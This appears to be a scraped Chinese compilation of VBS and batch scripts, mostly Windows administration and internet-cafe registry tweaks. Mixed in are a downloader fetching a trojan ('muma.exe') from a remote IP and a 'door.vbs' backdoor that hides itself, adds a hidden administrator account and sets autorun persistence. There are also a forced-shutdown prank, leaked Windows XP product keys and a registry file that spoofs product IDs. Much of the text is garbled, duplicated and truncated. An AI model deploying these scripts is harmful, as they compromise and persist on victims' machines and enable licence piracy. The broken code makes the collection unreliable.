vbs脚本大全,配有实例 DOS命令

合集下载

运行DOS批处理不显示DOS窗口的方法

运行DOS批处理不显示DOS窗口的方法

运行DOS批处理不显示DOS窗口的方法要在运行DOS批处理时隐藏DOS窗口,你可以使用以下方法:1. 使用VBScript编写脚本:创建一个VBScript脚本,命名为`hide.vbs`,并将以下代码复制到脚本中:```vbscriptSet objShell = CreateObject("WScript.Shell")objShell.Run "cmd /c your_batch_file.bat", 0, False```将`your_batch_file.bat`替换为实际的批处理文件名。

然后,双击运行`hide.vbs`脚本,它将以隐藏的方式运行批处理文件。

2.使用第三方工具:有许多第三方工具可用于隐藏DOS窗口并运行批处理文件。

其中一个常用的工具是`nircmd`。

你可以按照以下步骤来使用它:```start /min C:\nircmd\nircmd.exe exec hide"your_batch_file.bat"```将`C:\nircmd\nircmd.exe`替换为你解压`nircmd`的路径,并将`your_batch_file.bat`替换为实际的批处理文件名。

- 将批处理文件保存为扩展名为`.bat`的文件,并双击运行它。

它将以隐藏的方式运行批处理文件。

3.将批处理文件转换为可执行文件:你还可以使用一些软件将批处理文件转换为可执行文件(通常是EXE 或COM文件),这样当你运行它时就不会显示DOS窗口。

以下是一些可用的工具:- Advanced BAT to EXE Converter:这是一个商业软件,提供更多功能和选项来转换批处理文件为可执行文件。

无论使用哪种工具,你都需要按照软件的说明和向导来转换批处理文件为可执行文件。

一旦转换完成,你可以双击运行可执行文件,它将在后台运行批处理文件,而不会显示DOS窗口。

DOS命令(利用VBS脚本)

DOS命令(利用VBS脚本)

查看文章DOS命令(利用VBS脚本)2009-12-19 12:17DOS命令(值得一看)这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。

前面两种相对简单,本文只介绍两个网络配置工具。

自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh......这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。

前面两种相对简单,本文只介绍两个网络配置工具。

Windows脚本很多事用脚本来做是很简洁的。

下面给出几个常用脚本的echo版。

1,显示系统版本@echo for each ps in getobject _ >ps.vbs@echo("winmgmts://./root/cimv2:win32_operatingsystem").instances_ >>ps.vbs @echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbscscript //nologo ps.vbs & del ps.vbs2,列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts://./root/cimv2:win32_process").instances_ >>ps.vbs @echo wscript.echops.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs3,终止进程@echo for each ps in getobject _ >pk.vbs@echo ("winmgmts://./root/cimv2:win32_process").instances_ >>pk.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echops.terminate:end if:next >>pk.vbs要终止PID为123的进程,使用如下语法:cscript pk.vbs 123如果显示一个0,表示终止成功。

DOS命令(利用VBS脚本)

DOS命令(利用VBS脚本)

查看文章DOS命令(利用VBS脚本)2009-12-19 12:17DOS命令(值得一看)这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。

前面两种相对简单,本文只介绍两个网络配置工具。

自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh......这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。

前面两种相对简单,本文只介绍两个网络配置工具。

Windows脚本很多事用脚本来做是很简洁的。

下面给出几个常用脚本的echo版。

1,显示系统版本@echo for each ps in getobject _ >ps.vbs@echo("winmgmts://./root/cimv2:win32_operatingsystem").instances_ >>ps.vbs @echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbscscript //nologo ps.vbs & del ps.vbs2,列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts://./root/cimv2:win32_process").instances_ >>ps.vbs @echo wscript.echops.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs3,终止进程@echo for each ps in getobject _ >pk.vbs@echo ("winmgmts://./root/cimv2:win32_process").instances_ >>pk.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echops.terminate:end if:next >>pk.vbs要终止PID为123的进程,使用如下语法:cscript pk.vbs 123如果显示一个0,表示终止成功。

一些常用的VBS脚本

一些常用的VBS脚本

一些常用的VBS脚本、批处理和注册表2007-10-10 18:36======打开迅闪菜单的同时连接虚拟磁盘的VBS======Set WshShell = WScript.CreateObject("WScript.Shell")Return = WshShell.Run ("c:\client\新调用.exe",0,true)Return = WshShell.Run ("iscsicli AddTargetPortal 192.168.0.9 3260",0,true)Return = WshShell.Run ("iscsicli LoginTarget .ricecake.iscsi:00 T * * Set WshShell = Nothing======开机VBS调用远程批处理(延时+无黑屏后台运行的效果)======DIM objShellset objShell=wscript.createObject("wscript.shell")WScript.Sleep(10000)iReturn=objShell.Run("cmd.exe /C \\server\E\123.bat", 0, TRUE)======修改IE状态栏显示字符的注册表======Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\ @="""DisplayName"="XX网吧"====== 批处理获得本机的IP和MAC地址然后进行绑定======@echo offfor /f "tokens=1* delims=:" %%i in ('ipconfig /all^|find /i "Physical Address"') do s for /f "tokens=1* delims=:" %%i in ('ipconfig /all^|find /i "IP Address"') do set ip= arp -s %ip:~1% %Mac:~1%======强制刷新组策略和注册表======xp/2003命令gpupdate /force2k命令secedit /refreshpolicy machine_policy /enforce====== 批处理修改IE主页======@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start P @reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page======解除禁止下载的几种方法======VBS代码:DIM WSHSET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")WSH.POPUP("本程序的作用是解决无法下载的问题")WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones03 WSH.POPUP("现在您可以下载程序了!")JS代码:VAR WSHShell=WSCRIPT.CREATOBJEt("WSCRIPT.SHELL");WSHShell.Popup("本程序解决无法下载的问题,");WSHShell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZINF代码[Version]Signature="$CHICAGO$"[DefaultInstall]DelReg=Del[Del]HKCU,"Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones",1803====== 屏蔽WIN2003开机弹出的错误对话框:在系统启动时至少有一个服务或驱动程序产生错误Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows] "NoPopUpsOnBoot"=dword:00000001======导入注册表不给任何提示的方法============简单三步,更改序列号解决WINDOWS XP在线升级问题======1)在〔开始〕→〔执行〕→〔Regedit〕→〔HKEY_LOCAL_MACHINE〕→〔SOFTWARE〕→〔Micros 〔Windows NT〕→〔CurrentVersion〕在〔WPAEvents〕内将〔OOBETimer〕的头两个数值〔FF〕2)在〔开始〕→〔执行〕→〔oobe/msoobe /a〕进入〔启动画面〕→选择第二项〔电话启动〕3)在进入下一个视窗,选择〔change product key〕来修改序列号及输入新的序列号,完成后点重新启动电脑后在〔开始〕→〔执行〕→〔oobe/msoobe /a〕进入〔启动画面〕时应该显示已经启KLV,VOL版用户可用序列号:MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用CM3HY-26VYW-6JRYC-X66GX-JVY2D 可用DP7CM-PD6MC-6BKXT-M8JJ6-RPXGJ 可用F4297-RCWJP-P482C-YY23Y-XH8W3 可用HH7VV-6P3G9-82TWK-QKJJ3-MXR96 可用HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT 可用======去除系统面板上的远程和系统还原选项======regsvr32 /u remotepg.dllregsvr32 /u wuaueng.dll======冒险岛刷新率设置成85HZ的注册表(对玩冒险岛黑屏的兄弟有用)======Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Wizet\MapleStory]"ExecPath"="E:\\OnlineGame\\冒险岛""EKEYUSE"=dword:00000000"DGTIDUSE"=dword:00000000"RMA"=dword:00000000"LMA"="""LCWN"="""scrFirstRun"=dword:00000000"soVideo"=dword:00000003"soBGMVol"=dword:0000000f"soBGMMute"=dword:00000000"soSEVol"=dword:0000000f"soSEMute"=dword:00000000"soScreenShot"=dword:00000000"soMouseSpeed"=dword:0000000a"soHPFlash"=dword:0000000a"soTremble"=dword:00000001"jpBtn0"=dword:00000000"jpBtn1"=dword:00000000"jpBtn2"=dword:00000000"jpBtn3"=dword:00000000"jpBtn4"=dword:00000000"jpBtn5"=dword:00000000"jpBtn6"=dword:00000000"jpBtn7"=dword:00000000"jpBtn8"=dword:00000000"scrRRate"=dword:00000055======QQ面板上点QQ游戏无反映的解决注册表(一定是做母盘的时候没有运行过QQ游戏吧?)Windows Registry Editor Version 5.00Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Tencent\QQGame\SYS]"HallDirectory"="e:\\网游平台\\QQGame\\""GameDirectory"="e:\\网游平台\\QQGame\\"[HKEY_LOCAL_MACHINE\Software\Classes\CLSID]"CLBVersion"=dword:00000007[HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{11BEA40D-ED62-4996-B157-B6D9C637F2A5}\Inp "ThreadingModel"="Apartment"[HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{B59750C3-29F1-44AA-BFA8-E5F6D3CE8596}\InP "ThreadingModel"="Both"[HKEY_LOCAL_MACHINE\Software\Classes\Interface\{AA21B901-1642-4AB2-9C1C-A09B2412CC89} "Version"="1.0"[HKEY_LOCAL_MACHINE\Software\Classes\Interface\{B2167A4F-BC4D-4DA7-90BF-C4BAF7D76714} "Version"="1.0"[HKEY_LOCAL_MACHINE\Software\Tencent\QQGame\SYS]"HallDirectory"="E:\\网游平台\\QQGame\\""GameDirectory"="E:\\网游平台\\QQGame\\"======运行共享里的EXE不给予提示的方法======IE--Internet 选项--安全--自定义级别--安全设置--加载应用程序和不安全文件:选择|启用|即======制作2003系统最重要的步骤:让2003象XP一样兼容游戏======修改boot.ini为:multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /NoExecut 此方法等同于:我的电脑--属性--高级--性能--设置--数据执行保护,选择|只为关键Windows程======如果你的2003不能在线升级和打补丁,试试这个注册表======Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion] "ProductId"="69713-640-9722366-45198"[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion] "CurrentBuild"="1.511.1 () (Obsolete data - do not use)""InstallDate"=dword:3f6c976d"ProductName"="Microsoft Windows Server 2003""RegDone"="""Software Type"="SYSTEM""CurrentVersion"="5.2""CurrentBuildNumber"="3790""BuildLab"="3790.srv03_rtm.030324-2048""CurrentType"="Uniprocessor Free""ProductId"="69713-640-9722366-45198""DigitalProductId"=hex:a4,00,00,00,03,00,00,00,36,39,37,31,33,2d,36,34,30,2d,39,37,32 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,31,32,32,32,3"LicenseInfo"=hex:71,84,c7,56,a0,d6,10,6e,70,b4,9f,e9,10,1a,1e,7a,01,a4,41,09,25,20,0。

vbs整人代码大集合

vbs整人代码大集合

未知驱动探索,专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码,这些代码可以用于整人、恶作剧或者娱乐。

VBScript是一种微软开发的脚本语言,可以通过各种操作系统上的微软系列产品(如Windows)来使用。

请注意,这些代码仅用于娱乐目的,不应用于恶意活动或任何非法行为。

使用这些代码时,请确保你已经获得了授权。

2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块,并在用户试图移动鼠标指针靠近色块时,自动将色块移动到一个随机位置。

```vbs Set objShell = CreateObject(
1。

cmddosvbs实用命令(个人整理)

cmddosvbs实用命令(个人整理)

cmddosvbs实用命令(个人整理)MOVE "C:\Program Files\蜗牛的电子相册\蜗牛学着忘记过去.lnk" "%userprofile%(%systemroot%:系统WINDOWS)\桌面\蜗牛学着忘记过去.lnk"COPY "C:\Program Files\xxx\xxx.mp3" "D:\sss.mp3"xcopy 源路径\*新建* 目标路径\ /e /v /f /r /k /y 复制文件夹及里面的文件,可用*筛选fc one.txt two.txt > 3st.txt ------> 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令shutdown -s -t 0 ------> 关机,-t后数字0表示0秒后将执行关机命令rmdir /s D:\目录名\ /Q ------> 删除D盘下的某目录,包括目录下的所有文件del /f /s /q ------> 搜索并删除某目录内文件regedit /s "D:\xxx\xxx.reg" ------> 导入.reg文件,不提示at 11:48:00.51(时间) /interactive(显示交互界面) 要执行的命令 ------> 定时执行命令tsshutdn 60秒关机,界面可手动停止@echo off 关闭命令执行时的命令行的显示title 要在窗口标题栏显示的文字net user 用户名密码 /add 建立用户net user 查看有哪些用户for /l %%i in (1,1,30000) do @echo %%i>nul (1,1,30000)为增量形式的,1开始,每次加1,加到30000。

vbs脚本大全,配有实例 DOS命令,批处理 脚本 代码

vbs脚本大全,配有实例 DOS命令,批处理 脚本 代码

vbs脚本大全,配有实例DOS命令,批处理脚本代码VBS取得本机IPstrComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set IPConfigSet = objWMIService.ExecQuery('Select IPAddress fromWin32_NetworkAdapterConfiguration Where IPEnabled=TRUE')For Each IPConfig in IPConfigSetIf Not IsNull(IPConfig.IPAddress) ThenFor Each strAddress in IPConfig.IPAddressWScript.Echo strAddressNextEnd IfNext2 取得本机计算机名strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colComputers = objWMIService.ExecQuery('Select * from Win32_ComputerSystem')For Each objComputer in colComputersWscript.Echo Next4 检查升级包strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colOperatingSystems =objWMIService.ExecQuery('Select * fromWin32_OperatingSystem')For Each objOperatingSystem in colOperatingSystems Wscript.EchoobjOperatingSystem.ServicePackMajorVersion & '.' & objOperatingSystem.ServicePackMinorVersionNext5 检查Hot FixstrComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colQuickFixes = objWMIService.ExecQuery ('Select *from Win32_QuickFixEngineering')For Each objQuickFix in colQuickFixesWscript.Echo 'Description: ' & objQuickFix.Description Wscript.Echo 'Hot Fix ID: ' & objQuickFix.HotFixIDNext6 检查本地管理员数目Set objNetwork = CreateObject('work') strComputer = puterNameSet objGroup = GetObject('WinNT://' & strComputer & '/Administrators,group')For Each objUser in objGroup.MembersWscript.Echo Next7 磁盘系统strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colDisks = objWMIService.ExecQuery('Select * from Win32_LogicalDisk Where DriveType =3')For Each objDisk in colDisksWscript.Echo 'Disk drive: '& objDisk.DeviceID & ' -- ' &objDisk.FileSystemNext8 检测自动登录是否开启Const HKEY_LOCAL_MACHINE = &H80000002 strComputer = '.'Set objReg=GetObject('winmgmts:\\' & strComputer & '\root\default:StdRegProv')strKeyPath = 'Software\Microsoft\WindowsNT\CurrentVersion\WinLogon'strValueName = 'AutoAdminLogon'objReg.GetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,dwValueIf dwValue = 1 ThenWscript.Echo 'Auto logon is enabled.'ElseWscript.Echo 'Auto logon is disabled.'End If9 关闭自动登录Const HKEY_LOCAL_MACHINE = &H80000002 strComputer = '.'Set objReg=GetObject('winmgmts:\\' & strComputer & '\root\default:StdRegProv')strKeyPath = 'Software\Microsoft\WindowsNT\CurrentVersion\WinLogon'strValueName = 'AutoAdminLogon'dwValue = 0oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, dwValue10 检查Guest是否禁用Set objNetwork = CreateObject('work') strComputer = puterNameSet objUser = GetObject('WinNT://' & strComputer & '/Guest')If objUser.AccountDisabled ThenWscript.Echo 'The Guest account is disabled.'ElseWscript.Echo 'The Guest account is enabled.'End If11 关闭GuestSet objNetwork = CreateObject('work') strComputer = puterNameSet objUser = GetObject('WinNT://' & strComputer & '/Guest')If objUser.AccountDisabled ThenWscript.Echo 'The Guest account is already disabled.' ElseobjUser.AccountDisabled = TrueobjUser.SetInfoWscript.Echo 'The Guest account has been disabled.' End If12 检索本地共象strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colShares = objWMIService.ExecQuery('Select * from Win32_Share')For each objShare in colSharesWscript.Echo 'Name: ' & Wscript.Echo 'Path: ' & objShare.PathWscript.Echo 'Type: ' & objShare.TypeNext13 脚本检索一个文件夹下.txt文件汗哦值得学习Set objWMIService =GetObject('winmgmts:\\.\root\cimv2')Set colFiles = objWMIService.ExecQuery('SELECT * FROM CIM_DataFile WHERE Path = '\\Documentsand Settings\\Administrator\\桌面\\' AND Drive = 'E:' AND Extension = 'txt'')Wscript.Echo 'Number of .txt files found: ' & colFiles.Count for each aa in colFilesNL=NL & vbcrlf & nextWscript.Echo NL14 我如何向用户显示一个用来选择文件的对话框?问:嗨,Scripting Guy!有没有什么方法可以让我使用脚本向用户显示一个对话框,供用户选择文件使用?-- BF答:您好,BF。

代码大全VBS格式

代码大全VBS格式
ws.run "notepad",3 : wscript.sleep 2000
verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",")
msgbox "你SB啊!"
else
msgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!"

收集的一些经典的vbs脚本大全

收集的一些经典的vbs脚本大全

收集的⼀些经典的vbs脚本⼤全记录⼀些经典的vbs脚本1.⽂件下载(⽆回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe⽤法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echo ps.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs⽤法:cscript ps.vbs3.终⽌进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs⽤法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs@echo os.win32shutdown(2):next >>reboot.vbs⽤法:cscript reboot.vbsVBS脚本在系统安全中的⼋则巧妙应⽤VBS脚本病毒的⼤量流⾏使我们对VBS的功能有了⼀个全新的认识,现在⼤家对它也开始重视起来。

vbs文件操作脚本实例

vbs文件操作脚本实例

vbs文件操作脚本实例1.创建一个新的文本文件,如果文件已经存在则报告错误:Rem 在当前盘根目录下创建"测试.txt"并写入一个字符串VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForWriting=2VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=-1VBSCall Call MessageBox("发现错误!!!文件已经存在!!!")Goto overEndIfVBS Set file=fso.CreateTextFile(filename,Ture)VBS file.WriteLine("文件第一行,这是一个测试文件")VBS file.CloseVBSCall Call MessageBox("测试文件创建成功!!!")Rem overEndScript2.强行写入文件覆盖原有内容:Rem 往当前盘根目录下的文件"测试.txt"写入一个字符串,覆盖原有内容VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForWriting=2VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForWriting,Ture)VBS file.WriteLine("测试写入文件行")VBS file.CloseVBSCall Call MessageBox("写入文件成功!!!")Rem overEndScript3.往文件尾部追加内容:Rem 往当前盘根目录下的文件"测试.txt"末尾追加一个字符串VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForAppending=8VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForAppending)VBS file.WriteLine("测试追加字符串到文件末尾")VBS file.CloseVBSCall Call MessageBox("追加字符串到文件成功!!!")Rem overEndScript4.读取指定文件一行Rem 从当前盘根目录下的文件"测试.txt"读一行VBS dim fso,file,filename,textVBS filename="\测试.txt"VBS Const ForReading=1VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForReading)VBS text=file.ReadLineVBS file.CloseVBS text="从文件"&filename&"读取行成功!读到的字符串为:"&text VBSCall Call MessageBox(text)Rem overEndScript5.从指定文件行读取2个字符Rem 从当前盘根目录下的文件"测试.txt"读取2个字符VBS dim fso,file,filename,textVBS filename="\测试.txt"VBS Const ForReading=1VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForReading)VBS text=file.Read(2)VBS file.CloseVBS text="从文件"&filename&"读取2个字符成功!读到的字符为:"&text VBSCall Call MessageBox(text)Rem overEndScript6. ReadAll读取整个文件内容,大文件太占资源,不建议使用//使用方法和ReadLine近似7.SkipLine跳过当前行//使用方法是file.SkipLine,仅用于只读属性打开的文件8.测试文件行结束/文件结束a.测试行结束判断语句If file.AtEndOfLine=-1...EndIf//表达式为真的时候当前指针处于行末b.测试文件结束判断语句If file.AtEndOfStream=-1...EndIf//表达式为真的时候当前指针处于文件末9.其他用于文件的函数或者叫方法功能有a.file.Column 返回当前列号b.file.Line 返回当前行号c.file.FileExists(filename) 判断指定文件是否存在。

VBS脚本常用代码大全 2011 整理

VBS脚本常用代码大全 2011 整理

VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。

VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL="想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)Setshell=CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c系统即将关闭.",0WhileInputBox("请输入答案","请回答")<>"123"'密码是123MsgBox"答案在心中...",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto="d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:\WINDOWS路径先定义这个变量是获取系统安装路径的,然后我们用"strWinDir"调用这个变量。

黑客必须要知道的几个vbs文件代码

黑客必须要知道的几个vbs文件代码

⿊客必须要知道的⼏个vbs⽂件代码1. door.vbs'***************'door.vbs by ⿊嘿⿊'***************dim wsh,FA,FSOset fso=CreateObject("Scripting.FileSystemObject")Set FA= FSO.GetFile(WScript.scriptFullName)FA.Attributes =34set wsh=CreateObject("WScript.Shell")wsh.run "net user IUSE_SERVER /add",0,truewsh.run "net localgroup administrators IUSE_SERVER /add" ,0,truewsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD" wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""功能:添加不死帐号(随cmd启动⽽启动),在win下彻底隐藏。

vbs好玩的代码

vbs好玩的代码

vbs好玩的代码VBS(VisualBasicScripting)是一种脚本语言,常用于Windows 操作系统上的系统管理、自动化任务和网页制作等方面。

以下是一些好玩的VBS代码:1. 在屏幕上写字可以使用以下代码在屏幕上写字:```MsgBox 'Hello World!'```2. 使电脑说话可以使用以下代码让电脑说话:```Dim speechSet speech=CreateObject('sapi.spvoice')speech.Speak 'Hello World'```3. 改变鼠标光标的位置可以使用以下代码改变鼠标光标的位置:```Set WshShell = WScript.CreateObject('WScript.Shell')WshShell.Run 'cmd.exe'WScript.Sleep 1000WshShell.SendKeys 'mode con: cols=18 lines=1{ENTER}' WshShell.SendKeys 'echo 0 50{ENTER}'WshShell.SendKeys 'exit{ENTER}'WScript.Sleep 1000WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'```4. 打开CD/DVD驱动器可以使用以下代码打开CD/DVD驱动器:```Set oWMP = CreateObject('WMPlayer.OCX.7') Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count -1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count -1colCDROMs.Item(i).EjectNextEnd IfWScript.Sleep 15000loop```5. 自动输入用户名和密码可以使用以下代码自动输入用户名和密码:```Set WshShell = WScript.CreateObject('WScript.Shell')WshShell.Run 'notepad.exe'WScript.Sleep 1000WshShell.SendKeys 'Userna MyUsername{ENTER}'WshShell.SendKeys 'Password: MyPassword{ENTER}'WScript.Sleep 1000WshShell.SendKeys '%{F4}'```这些代码只是VBS的冰山一角,VBS还能做很多其他有趣的事情,希望你会喜欢上它!。

最新最全的VBS脚本应用超级范例大全

最新最全的VBS脚本应用超级范例大全

可以显示农历的VBS代码:<script language=vbscript>Function nl()'获取当前系统时间curTime = Now()Dim WeekName(7), MonthAdd(11), NongliData(99), TianGan(9), DiZhi(11), ShuXiang(11), DayName(30), MonName(12)'星期名WeekName(0) = " * "WeekName(1) = "星期日"WeekName(2) = "星期一"WeekName(3) = "星期二"WeekName(4) = "星期三"WeekName(5) = "星期四"WeekName(6) = "星期五"WeekName(7) = "星期六"'天干名称TianGan(0) = "甲"TianGan(1) = "乙"TianGan(2) = "丙"TianGan(3) = "丁"TianGan(4) = "戊"TianGan(5) = "己"TianGan(6) = "庚"TianGan(7) = "辛"TianGan(8) = "壬"TianGan(9) = "癸"'地支名称DiZhi(0) = "子"DiZhi(1) = "丑"DiZhi(2) = "寅"DiZhi(3) = "卯"DiZhi(4) = "辰"DiZhi(5) = "巳"DiZhi(6) = "午"DiZhi(7) = "未"DiZhi(8) = "申"DiZhi(9) = "酉"DiZhi(10) = "戌"DiZhi(11) = "亥"'属相名称ShuXiang(0) = "鼠"ShuXiang(1) = "牛" ShuXiang(2) = "虎" ShuXiang(3) = "兔" ShuXiang(4) = "龙" ShuXiang(5) = "蛇" ShuXiang(6) = "马" ShuXiang(7) = "羊" ShuXiang(8) = "猴" ShuXiang(9) = "鸡" ShuXiang(10) = "狗" ShuXiang(11) = "猪" '农历日期名DayName(0) = "*" 